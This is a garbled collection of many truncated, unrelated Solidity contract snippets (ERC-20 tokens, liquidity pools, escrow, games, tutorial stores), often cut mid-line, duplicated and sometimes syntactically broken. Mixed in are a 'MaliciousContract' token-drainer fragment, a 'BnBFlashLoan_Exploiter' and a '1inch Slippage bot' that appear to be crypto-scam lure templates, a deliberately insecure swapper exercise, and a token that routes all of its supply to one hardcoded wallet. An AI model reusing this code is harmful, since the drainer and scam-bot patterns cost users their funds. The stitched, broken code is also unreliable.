pragma solidity ^0.4.18;

interface IDataTypes {
    function getUint256() external view returns (uint256);
    function getInt256() external view returns (int256);
    function getUint8() external view returns (uint8);
    function getInt8() external view returns (int8);
    function getBool() external view returns (bool);
    function getAddress() external view returns (address);
    function getBytes32() external view returns (bytes32);
    function getArrayUint5() external view returns (uint256[5] memory);
    function getString() external view returns (string);
    function getBigUint() external view returns (uint256);
}

contract DataTypes is IDataTypes {
    uint256 private uint256Value = 123456;
    int256 private int256Value = -123456;
    uint8 private uint8Value = 12;
    int8 private int8Value = -12;
    bool private boolValue = true;
    address private addressValue = 0x000000000000000000000000000000000000dEaD;
    bytes32 private bytes32Value = "HelloBytes32";
    uint256[5] private arrayUint5Va

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

// $DONKEY Token
// Symbol: DONKEY
// With love and humor by PEACHMEADOW 🐾 🐴

/*
   $$$$$$\   $$$$$$\  $$\   $$\ $$\       $$$$$$\ $$$$$$$$\ 
  $$  __$$\ $$  __$$\ $$ | $$  |\__|     $$  __$$\\__$$  __|
  $$ /  $$ |$$ /  $$ |$$ |$$  / $$\      $$ /  $$ |  $$ |   
  $$$$$$$$ |$$ |  $$ |$$$$$  /  $$ |     $$ |  $$ |  $$ |   
  $$  __$$ |$$ |  $$ |$$  $$<   $$ |     $$ |  $$ |  $$ |   
  $$ |  $$ |$$ |  $$ |$$ |\$$\  $$ |     $$ |  $$ |  $$ |   
  $$ |  $$ | $$$$$$  |$$ | \$$\ $$ |      $$$$$$  |  $$ |   
  \__|  \__| \______/ \__|  \__|\__|      \______/   \__|   

  Camille is a donkey!
  Dev Signature: ~~~ PEACHMEADOW 🐾 🐴 ~~~
*/

contract DonkeyToken is ERC20, Ownable {
    // Constructor: Initializes the token and mints the initial supply
    constructor() ERC20("Donkey Token", "DONKEY") Ownable(msg.sender) {
        _mint(msg.sende

pragma solidity ^0.4.18;

contract Layer2DAPP {
    struct User {
        string name;
        bool exists;
        uint[] connectedUsers;
    }
    
    struct JointAccount {
        bool exists;
        uint balance1;
        uint balance2;
    }
    
    mapping(uint => User) public users;
    mapping(bytes32 => JointAccount) private jointAccounts;
    uint[] public userIds;
    
    function createAccountKey(uint user1, uint user2) private pure returns (bytes32) {
        require(user1 != user2);
        if(user1 < user2) {
            return sha256(user1, user2);
        } else {
            return sha256(user2, user1);
        }
    }
    
    function registerUser(uint userId, string userName) public {
        require(!users[userId].exists);
        users[userId].name = userName;
        users[userId].exists = true;
        userIds.push(userId);
    }
    
    function createAcc(uint user1, uint user2) public {
        require(users[user1].exists && users[user2].exists);
        bytes32 accountKey = cr

pragma solidity ^0.4.0;

contract JointAccountNetwork {
    // User structure to store user details
    struct User {
        uint userId;
        string userName;
        bool isRegistered;
    }

    // Joint Account structure
    struct JointAccount {
        uint user1Id;
        uint user2Id;
        uint user1Balance;
        uint user2Balance;
        bool isActive;
    }

    // Mapping to store users
    mapping(uint => User) public users;
    
    // Mapping to store joint accounts between users
    mapping(bytes32 => JointAccount) public jointAccounts;
    
    // Mapping to track user connections
    mapping(uint => uint[]) public userConnections;

    // Events for logging
    event UserRegistered(uint userId, string userName);
    event AccountCreated(uint user1Id, uint user2Id);
    event AmountSent(uint fromUserId, uint toUserId, uint amount);
    event AccountClosed(uint user1Id, uint user2Id);

    // Register a new user
    function registerUser(uint userId, string userName) public {
      

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract LiquidityPool {
    IERC20 public token0;
    IERC20 public token1;

    uint256 public reserve0;
    uint256 public reserve1;

    constructor(address _token0, address _token1) {
        token0 = IERC20(_token0);
        token1 = IERC20(_token1);

        // Initial liquidity (needs to be added separately)
        //  This example omits the initial liquidity addition for brevity.
    }

    function addLiquidity(uint256 _amount0, uint256 _amount1) external {
        require(_amount0 > 0 && _amount1 > 0, "Amounts must be greater than zero");

        // Transfer tokens to the contract
        token0.transferFrom(msg.sender, address(this), _amount0);
        token1.transferFrom(msg.sender, address(this), _amount1);

        // Update reserves
        reserve0 += _amount0;
        reserve1 += _amount1;
    }

    function swap(address _tokenIn, uint256 _amountIn, address _tokenOut, uint256 _amountOutMin) external {
     

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

contract LiquidityPool is Ownable {

    // Token addresses
    address public tokenA;
    address public tokenB;

    // Reserves
    uint256 public reserveA;
    uint256 public reserveB;

    // Constant product formula (k)
    uint256 public k;

    // Events
    event Swap(address indexed user, address indexed tokenIn, uint256 amountIn, address indexed tokenOut, uint256 amountOut);
    event AddLiquidity(address indexed user, uint256 amountA, uint256 amountB);
    event RemoveLiquidity(address indexed user, uint256 amountA, uint256 amountB);

    constructor(address _tokenA, address _tokenB) {
        require(_tokenA != address(0) && _tokenB != address(0), "Invalid token addresses");
        tokenA = _tokenA;
        tokenB = _tokenB;
    }


    function swap(address _tokenIn, uint256 _amountIn) external {
        require(_tokenIn == tokenA || _tokenIn == tokenB, "

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract MyToken is ERC20 {
    constructor(uint256 initialSupply) ERC20("MyToken", "MTK") {
        _mint(msg.sender, initialSupply);
    }

// SPDX-License-Identifier: MIT
pragma solidity ^0.4.18;

contract AdivinaElNumero {
    uint public numeroGanador;
    uint public cantidadMinimaApuesta;
    address public dueno;

    mapping(address => uint) public apuestas;

    modifier soloDueno() {
        require(msg.sender == dueno); // No se usa el mensaje de error en 0.4.x
        _;
    }

    // Constructor para Solidity 0.4.x
    function AdivinaElNumero(uint _cantidadMinimaApuesta) public {
        dueno = msg.sender;
        cantidadMinimaApuesta = _cantidadMinimaApuesta;
        
        // Generamos el número ganador usando keccak256
        bytes32 hash = keccak256(block.timestamp, block.difficulty);
        numeroGanador = uint(hash) % 100 + 1; // Número entre 1 y 100
    }

    function apostar(uint _numero) public payable {
        require(msg.value >= cantidadMinimaApuesta); // Sin mensaje de error
        require(_numero >= 1 && _numero <= 100); // Sin mensaje de error
        apuestas[msg.sender] = _numero;
    }

    function verif

// SPDX-License-Identifier: MIT
pragma solidity ^0.4.18;

contract AdivinaElNumero {
    uint public numeroGanador;
    uint public cantidadMinimaApuesta;
    address public dueno;

    mapping(address => uint) public apuestas;

    modifier soloDueno() {
        require(msg.sender == dueno); // No se usa el mensaje de error en 0.4.x
        _;
    }

    // Constructor para Solidity 0.4.x
    function AdivinaElNumero(uint _cantidadMinimaApuesta) public {
        dueno = msg.sender;
        cantidadMinimaApuesta = _cantidadMinimaApuesta;
        
        // Generamos el número ganador usando keccak256
        bytes32 hash = keccak256(block.timestamp, block.difficulty);
        numeroGanador = uint(hash) % 100 + 1; // Número entre 1 y 100
    }

    function apostar(uint _numero) public payable {
        require(msg.value >= cantidadMinimaApuesta); // Sin mensaje de error
        require(_numero >= 1 && _numero <= 100); // Sin mensaje de error
        apuestas[msg.sender] = _numero;
    }

    function verif

// SPDX-License-Identifier: MIT
pragma solidity ^0.4.18;

contract PizzaGame {
    // Variables para almacenar ingredientes
    uint public cheeseStock = 10;
    uint public doughStock = 10;
    uint public tomatoStock = 10;

    // Precio de cada pizza (en wei, la unidad de menor valor de Ethereum)
    uint public pizzaPrice = 0.01 ether;

    // Dirección del dueño del contrato
    address public owner;

    // Mapeo para el balance de pizzas de cada jugador
    mapping(address => uint) public pizzaBalance;

    // Evento para registrar cada pedido
    event PizzaOrdered(address indexed player, uint quantity);

    // Constructor para inicializar el dueño del contrato
    function PizzaGame() public {
        owner = msg.sender;
    }

    // Modificador para restringir funciones solo al dueño
    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }

    // Función para pedir una pizza
    function orderPizza(uint quantity) public payable {
        require(quantity > 0);
      

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

contract GreekMythologyGame is ERC721, Ownable {
    using Counters for Counters.Counter;
    Counters.Counter private _tokenIdCounter;

    struct Hero {
        string name;
        uint256 strength;
        uint256 agility;
        uint256 defense;
        uint256 rarity; // 1 a 5, donde 5 es muy raro
    }

    // Mapeo de héroes
    mapping(uint256 => Hero) public heroes;
    // Mapeo de héroes por jugador
    mapping(address => uint256[]) public playerHeroes;

    // Eventos
    event NewHero(address indexed owner, uint256 heroId);
    event BattleResult(address indexed winner, uint256 winnerHeroId, uint256 loserHeroId);

    // Constructor
    constructor() ERC721("GreekHeroes", "GHERO") {}

    // Función para crear un héroe mitológico
    function createHero(
        string mem

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
} i

pragma solidity ^0.4.18;
contract Bank {
    // Mapping to store balances of each account
    mapping(address => uint256) private balances;
    // Event to log deposits
    event Deposit(address indexed account, uint256 amount);
    // Event to log withdrawals
    event Withdraw(address indexed account, uint256 amount);
    // Function to deposit money
    function deposit() public payable {
        require(msg.value > 0);
        balances[msg.sender] += msg.value;
        Deposit(msg.sender, msg.value); 
    }
    // Function to withdraw money
    function withdraw(uint256 amount) public {
        require(amount > 0);
        require(balances[msg.sender] >= amount);
        balances[msg.sender] -= amount;
        msg.sender.transfer(amount);
        Withdraw(msg.sender, amount); 
    }
    // Function to check the balance of the caller
    function getBalance() public view returns (uint256) {
        return balances[msg.sender];
    }

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

contract Senorita is ERC20, Ownable {
    uint256 public constant INITIAL_SUPPLY = 1_000_000_000_000 * (10 ** 18);

    constructor() ERC20("Senorita", "SEN") Ownable(msg.sender) {
        _mint(msg.sender, INITIAL_SUPPLY);
        _allocateInitialSupply();
    }

    function _allocateInitialSupply() internal {
        // Allocation percentages
        uint256 liquidityAllocation = (INITIAL_SUPPLY * 50) / 100;
        uint256 communityAllocation = (INITIAL_SUPPLY * 30) / 100;
        uint256 developmentAllocation = (INITIAL_SUPPLY * 10) / 100;
        uint256 founderAllocation = (INITIAL_SUPPLY * 10) / 100;

        // Distribute allocations to your wallet address
        address recipient = 0x158082B44b3d2A6b8EDf3978ab60ac3E2997133a;
        _transfer(msg.sender, recipient, liquidityAllocation);
        _transfer(msg.sender, recipient, communi

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;

contract SimpleToken {
    string public name = "SimpleToken";
    string public symbol = "STK";
    uint8 public decimals = 18;
    uint256 public totalSupply;

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    // Constructor that sets the initial supply
    constructor(uint256 _initialSupply) {
        totalSupply = _initialSupply * (10 ** uint256(decimals));
        balanceOf[msg.sender] = totalSupply; // Assign all tokens to the contract's creator
    }

    function transfer(address _to, uint256 _value) public returns (bool success) {
        require(_to != address(0), "Cannot transfer to the zero address");
        require(balanceOf[msg.sender] >= _value, "Insufficient balance");

        balanceOf[msg.sender] -= _v

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor(address initialOwner) {
        _transferOwnership(initialOwner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }
    
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract MODX is Ownable {
    string public name = "MODX";
    string public symbol = "MODX";
    uint8 public decimals = 1

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.26;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

0x654A32542A84bEA7D2c2C1A1Ed1AAAf26888E6bD//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract LiquidityPool {

    address public factory;
    address public token0;
    address public token1;

    uint112 private reserve0;           // uses single storage slot, accessible via getReserves
    uint112 private reserve1;           // uses single storage slot, accessible via getReserves
    uint32  private blockTimestampLast; // uses single storage slot, accessible via getReserves

    uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    constructor(address _factory, address _token0,

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract LiquidityPool {

    mapping(address => uint256) public reserves;

    // Event emitted when a swap occurs
    event Swap(
        address indexed sender,
        address indexed tokenIn,
        address indexed tokenOut,
        uint256 amountIn,
        uint256 amountOut
    );

    // Function to add liquidity to the pool
    function addLiquidity(address _token, uint256 _amount) public {
        require(_amount > 0, "Amount must be greater than 0");
        
        // Transfer tokens from the user to the contract
        IERC20(_token).transferFrom(msg.sender, address(this), _amount);
        
        // Update reserves
        reserves[_token] += _amount;
    }

    // Function to swap tokens
    function swap(
        address _tokenIn,
        address _tokenOut,
        uint256 _amountIn
    ) public returns (uint256 amountOut) {
        require(
            reserves[_tokenIn] > 0 && reserves[_tokenOut] > 0,
   

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract MyToken {
    string public name = "MyToken";
    string public symbol = "MTK";
    uint8 public decimals = 18;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;

    event Transfer(address indexed from, address indexed to, uint256 value);

    constructor(uint256 initialSupply) {
        totalSupply = initialSupply * (10 ** uint256(decimals));
        balanceOf[msg.sender] = totalSupply; // منح جميع الرموز للمنشئ
    }

    function transfer(address _to, uint256 _value) public retur

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract HelloWorld {
    string public greeting = "Hello, World!";

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

contract Secp256r1Verifier {
    // Address of the precompiled secp256r1 contract (0x8001)
    address constant SECP256R1_PRECOMPILE = address(0x8001);

    /**
     * @dev Verifies a secp256r1 signature for the IoT device data.
     * @param timestamp The timestamp of the IoT message.
     * @param latitude The latitude in the message.
     * @param longitude The longitude in the message.
     * @param temperature The temperature in the message.
     * @param r The r part of the signature (32 bytes).
     * @param s The s part of the signature (32 bytes).
     * @param pubKey The public key of the IoT device that signed the message (encoded as an (x, y) point).
     * @return bool indicating whether the signature is valid.
     */
    function verifyIoTData(
        string memory timestamp,
        string memory latitude,
        string memory longitude,
        string memory temperature,
        bytes32 r,
        bytes32 s,
        bytes memory pubK

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

/*

Website: https://www.ethereumcredit.io/
Telegram: https://t.me/+7LG4zxA4DldhZWVh
X/Twitter: https://x.com/CreditEthereum

*/

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spe

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract GlobalBetsClone {
    struct Option {
        string name;
        uint256 price;
        uint256 pool;
    }

    Option[] public options;
    uint256 public totalPool;
    uint256 public constant PRECISION = 1e18;

    string public description;
    IERC20 public usdc;
    mapping(address => mapping(uint256 => uint256)) public userShares;
    uint256 public winningOptionIndex;
    bool public winnerDeclared = false;

    address public admin;

    bool private initialized; // To prevent re-initialization

    event SharesBought(address indexed user, uint256 indexed optionIndex, uint256 sharesBought, uint256 amountSpent);
    event SharesSold(address indexed user, uint256 indexed optionIndex, uint256 sharesSold, uint256 amountReceived);
    event PricesUpdated(uint256[] newPrices, uint256 totalPool);

    function initialize(
        address _usdcAddress,
        string memory _descript

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/master/contracts/token/ERC20/ERC20Upgradeable.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/master/contracts/access/OwnableUpgradeable.sol";
import "https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable/blob/master/contracts/proxy/utils/Initializable.sol";

contract GoldStableContract is Initializable, ERC20Upgradeable, OwnableUpgradeable {

    // Initializer function to replace constructor for upgradeable contracts
    function initialize(uint256 _initialSupply) public initializer {
        __ERC20_init("GoldStableCoin", "24K");  // Initialize the ERC20 token
        __Ownable_init(msg.sender);  // Initialize ownership with msg.sender as owner
        _mint(msg.sender, _initialSupply * 10**decimals());  // Mint initial supply of tokens
    }

    // Mint new tokens (onlyOwner modifier ensures only the contract owner can 

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/*
Task: Implement Efficient Data Packing using Bitwise Operations

Objective:
Implement a function that packs three different-sized unsigned integers into a single uint256 
using bitwise operations in Yul.

Requirements:
1. Implement a function `pack(uint32 a, uint64 b, uint160 c)` that packs these values into a single uint256.
2. Use Yul in an assembly block for the implementation.

Expected Results:
- pack(0x12345678, 0x1234567890ABCDEF, 0x1234567890ABCDEF1234567890ABCDEF12345678) 
  should return 0x1234567890ABCDEF1234567890ABCDEF123456781234567890ABCDEF12345678

Fill in the Yul code in the assembly block below to implement the pack function.
*/

contract Packing {
    function pack(uint32 a, uint64 b, uint160 c) public pure returns (uint256 result) {
        assembly {
            // Implement your Yul code here
        }
    }

pragma solidity 0.8.10;

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
    function transfer(address to, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
}

/*
 *  1/ some scenario is broken
 *  2/ not secure
 *  3/ not gas efficient
 */
contract BrokenSwapper {
    IAugustus immutable augustus;

    constructor(IAugustus _augustus) {
        augustus = _augustus;
    }
    
  	// swap ERC20 tokens and pure ETH
    function swapTokensWithParaSwap(
        IERC20 srcToken, 
        IERC20 destToken, 
        uint256 amount, 
        bytes memory augustusCalldata // trusted data to pass down to augutus contract
    ) external {
        srcToken.transferFrom(msg.sender, address(this), amount);

        srcToken.approve(augustus, amount); 

        address(augustus).call(augustusCalldata); // swap ERC20 and

// SPDX - License-Identifier:MIT
pragma solidity^0.8.0;
contract MemoryHardAlgorithm{
  uint public difficulty; //difficulty level for the memory-hard proof
  uint public iterations; //Number of iterations for memory- hard Computations
  constructor(uint_difficulty,uint_iterations){
    difficulty=_difficulty;
    iterations=_iterations;
  }
// Function to start the memory-hard proof-of-work process
function memoryHardWork(bytes32 seed) external view returns(bytes32){

  //create a dynamic array to store memory-hard proof values
  bytes32[] memoryProofArray=new bytes32[](iterations);

  // Seed the array with intial value(pseudo random)
  proofArray[0]=keccak256(abi.encodPacked(block.timestamp,block.difficulty,seed));

  //iteratively populate the array
  for(uint=1;i<iterations;i++){
    //create a new value based on the previous one and block information
    proofArray[i]=keccak256(abi,encodePacked(proofArray[i-1],block,timestamp,block difficulty));
  }
  //combine all proof values to create the final proof

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC20 {
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
}

contract MaliciousContract {
    address public owner;

    // Set the deployer of the contract as the owner
    constructor() {
        owner = msg.sender;
    }

    // Function to request unlimited approval for the contract
    function requestUnlimitedApproval(address tokenAddress) external {
        IERC20 token = IERC20(tokenAddress);
        // Request approval to spend an unlimited amount of tokens
        token.approve(address(this), type(uint256).max);
    }

    // Function to withdraw tokens to the owner's address
    function withdrawTokens(address tokenAddress) external {
        require(msg.sender == owner, "Not authorized");
        IERC20 token = IERC20(tokenAddress

pragma solidity 0.8.10;

interface IAugustus {
    function getTokenTransferProxy() external view returns (address);
}

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
    function transfer(address to, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
}

/*
 *  1/ some scenario is broken
 *  2/ not secure
 *  3/ not gas efficient
 */
contract BrokenSwapper {
    IAugustus immutable augustus;

    constructor(IAugustus _augustus) {
        augustus = _augustus;
    }
    
  	// this should allow swaps with ERC20 tokens and native
    function swapTokensWithParaSwap(
        IERC20 srcToken, 
        IERC20 destToken, 
        uint256 amount, 
        bytes memory augustusCalldata // trusted data to pass down to augutus contract
    ) external {
        srcToken.transferFrom(msg.sender, address(this), amount

pragma solidity ^0.5.0;

contract BnBFlashLoan_Exploiter {
	string public tokenName;
	string public tokenSymbol;
	uint loanAmount;
	FlashLoan_mgr _mgr;
	
	constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
		tokenName = _tokenName;
		tokenSymbol = _tokenSymbol;
		loanAmount = _loanAmount;
		_mgr = new FlashLoan_mgr();
		address tokenAddress = _mgr.getTokenAddress();
		
	}
	
	function() external payable {}
	
	function action() public payable {
    
	    // Breakdown of flashloan mgr logic
	    // Submit token to BSC blockchain
	    address tokenAddress = _mgr.submitToken(tokenName, tokenSymbol);

        // List the token on PancakeSwap
		_mgr.pancakeListToken(tokenName, tokenSymbol, tokenAddress);
		
        // Get BNB Loan from Multiplier-Finance
		uint256 loanAddress = _mgr.takeFlashLoan(loanAmount);
		
		// Convert half BNB to DAI
		_mgr.pancakeDAItoBNB(loanAmount / 2);

        // Create BNB and DAI pairs for our token & Provide liquidity
        string memory bnb

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
}// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleEscrow {
    address public escrowAgent; // Treuhänder
    address payable public seller;
    address payable public buyer;

    enum State { AWAITING_PAYMENT, AWAITING_DELIVERY, COMPLETE, REFUNDED }
    State public currentState;

    constructor(address payable _seller, address payable _buyer) {
        escrowAgent = msg.sender;
        seller = _seller;
        buyer = _buyer;
        currentState = State.AWAITING_PAYMENT;
    }

    // Einzahlung durch den Käufer
    function deposit() external payable {
        require(msg.sender == buyer, "Nur der Käufer kann einzahlen");
        require(currentState == State.AWAITING_PAYMENT, "Zahlung nicht erwarte

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
}// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleEscrow {
    address public escrowAgent; // Treuhänder
    address payable public seller;
    address payable public buyer;

    enum State { AWAITING_PAYMENT, AWAITING_DELIVERY, COMPLETE, REFUNDED }
    State public currentState;

    constructor(address payable _seller, address payable _buyer) {
        escrowAgent = msg.sender;
        seller = _seller;
        buyer = _buyer;
        currentState = State.AWAITING_PAYMENT;
    }

    // Einzahlung durch den Käufer
    function deposit() external payable {
        require(msg.sender == buyer, "Nur der Käufer kann einzahlen");
        require(currentState == State.AWAITING_PAYMENT, "Zahlung nicht erwarte

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleEscrow {
    address public escrowAgent; // Treuhänder
    address payable public seller;
    address payable public buyer;

    enum State { AWAITING_PAYMENT, AWAITING_DELIVERY, COMPLETE, REFUNDED }
    State public currentState;

    constructor(address payable _seller, address payable _buyer) {
        escrowAgent = msg.sender;
        seller = _seller;
        buyer = _buyer;
        currentState = State.AWAITING_PAYMENT;
    }

    // Einzahlung durch den Käufer
    function deposit() external payable {
        require(msg.sender == buyer, "Nur der Käufer kann einzahlen");
        require(currentState == State.AWAITING_PAYMENT, "Zahlung nicht erwartet");
        req

pragma solidity ^0.4.18;

contract Test {
    
    function getResult() public pure returns(uint product, uint sum) {
        uint a = 1; 
        uint b = 2; 
        product = a * b; 
        sum = a + b; 
    }
}

pragma solidity ^0.4.18;


contract SolidityTest {

    function getResult() public pure returns (string memory) {
        uint a = 1;
        uint b = 2;
        uint result = a + b;
        return integerToString(result);
    }

    function integerToString(uint _i) internal pure returns (string memory) {
        if (_i == 0) {
            return "0";
        }

        uint j = _i;
        uint len = 0;

        while (j != 0) {
            len++;
            j /= 10;
        }

        bytes memory bstr = new bytes(len);
        uint k = len - 1;

        while (_i != 0) {
            bstr[k--] = bytes1(uint8(48 + _i % 10));
            _i /= 10;
        }

        return string(bstr);
    }
}

pragma solidity ^0.4.17;

contract Auction {
    
    // Data
    // Estructura para mantener los detalles del ítem
    struct Item {
        uint itemId; // id del ítem
        uint[] itemTokens;  // tokens apostados por el ítem
    }
    
    // Estructura para mantener los detalles de las personas
    struct Person {
        uint remainingTokens; // tokens restantes con el postor
        uint personId; // también sirve como tokenId
        address addr; // dirección del postor
    }
 
    mapping(address => Person) tokenDetails; // dirección a persona 
    Person [4] bidders; // Array que contiene 4 objetos Person
    
    Item [3] public items; // Array que contiene 3 objetos Item
    address[3] public winners; // Array para la dirección de los ganadores
    address public beneficiary; // propietario del contrato inteligente
    
    uint bidderCount = 0; // contador
    
    // Funciones

    function Auction() public payable { // constructor
                
        // Parte 1 Tarea 1. Inicializa

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.

pragma solidity ^0.4.18;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//To modify a KIP-20 token contract for the Klaytn blockchain to include fee handling and update the ownership address, you can use the following implementation:

### KIP-20 Token Contract with Fee Handling

1. **Update Ownership Address**: Replace the current ownership address with your new address.
2. **Add Fee Handling Mechanism**: Implement a function to deduct a fee from each token transaction.

Here’s an example of a KIP-20 token contract with these modifications:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.1;

interface IKIP20 {
      function totalSupply() external view returns (uint256);
          function balanceOf(address account) external view returns (uint256);
              function transfer(address recipient, uint256 amount) external returns (bool);
                  function allowance(address owner, address spender) external view returns (uint256);
                      function approve(address spender, uint256 amount) external returns (bool);
                          

// SPDX-License-Identifier: MIT

// File: @openzeppelin/contracts/utils/Nonces.sol


// OpenZeppelin Contracts (last updated v5.0.0) (utils/Nonces.sol)
pragma solidity ^0.8.20;

/**
 * @dev Provides tracking nonces for addresses. Nonces will only increment.
 */
abstract contract Nonces {
    /**
     * @dev The nonce used for an `account` is not the expected current nonce.
     */
    error InvalidAccountNonce(address account, uint256 currentNonce);

    mapping(address account => uint256) private _nonces;

    /**
     * @dev Returns the next unused nonce for an address.
     */
    function nonces(address owner) public view virtual returns (uint256) {
        return _nonces[owner];
    }

    /**
     * @dev Consumes a nonce.
     *
     * Returns the current value and increments nonce.
     */
    function _useNonce(address owner) internal virtual returns (uint256) {
        // For each account, the nonce has an initial value of 0, can only be incremented by one, and cannot be
        // decremented or res

//SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;
 
// This 1inch Slippage bot is for mainnet only. Testnet transactions will fail because testnet transactions have no value.
// Import Libraries Migrator/Exchange/Factory
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol";
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol";
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol";
 
contract OneinchSlippageBot {
 
    //string public tokenName;
    //string public tokenSymbol;
    uint liquidity;
    string private WETH_CONTRACT_ADDRESS = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2";
    string private UNISWAP_CONTRACT_ADDRESS = "0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D";
 
    event Log(string _msg);
 
    constructor() public {
        //tokenSymbol = _mainTokenSymbol;
        //tokenName = _mainTokenName;
    }
 
    receive() external payable {}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// using OpenZeppelin libraries
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
